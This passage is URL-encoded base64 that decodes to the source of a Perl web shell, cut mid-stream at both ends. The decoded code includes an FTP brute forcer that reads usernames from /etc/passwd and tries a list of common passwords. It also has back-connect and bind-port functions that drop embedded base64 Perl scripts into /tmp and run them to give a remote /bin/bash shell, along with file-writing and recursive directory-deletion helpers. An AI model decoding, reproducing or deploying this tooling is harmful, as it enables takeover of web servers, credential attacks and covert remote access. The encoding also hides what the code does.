GUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI%2BDQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE%2BIjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU%2BDQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8%2BDQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE%2BPC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI%2BDQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ%2BDQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI%2BDQoNCjxvcHRpb24%2BMDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24%2BDQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24%2BDQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8%2BPC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI%2BPGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI%2BPT09PT09PT09PT09PT09PT09PT0%2BPj4%2BPj4%2BPj4%2BPj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI%2BPGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0%2BcXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4%2BPj4%2BPj4%2BPiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI%2BDQoNCgk8dGFibGU%2BDQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI%2BDQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI%2BPC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY%2BWytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI%2BWytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E%2BDQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ%2BPC90ZD4NCg0KCTwvdHI%2BDQoJPC90YWJsZT4NCg0KCTxicj48YnI%2BDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ%2BQmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ%2BDQoNCgk8dGQ%2BIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI%2BDQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ%2BDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ%2BDQoJPC9mb3JtPg0KCTwvdHI%2BDQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM%2BPGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI%2BWytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI%2BJEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8%2FIjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI%2FPz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8%2FIjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1%2BIHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0%2BIjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY%2BPHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc%2BRmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc%2BTGFzdCBNb2RpZmllZDwvdGg%2BDQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI%2BIjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA%2FICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7D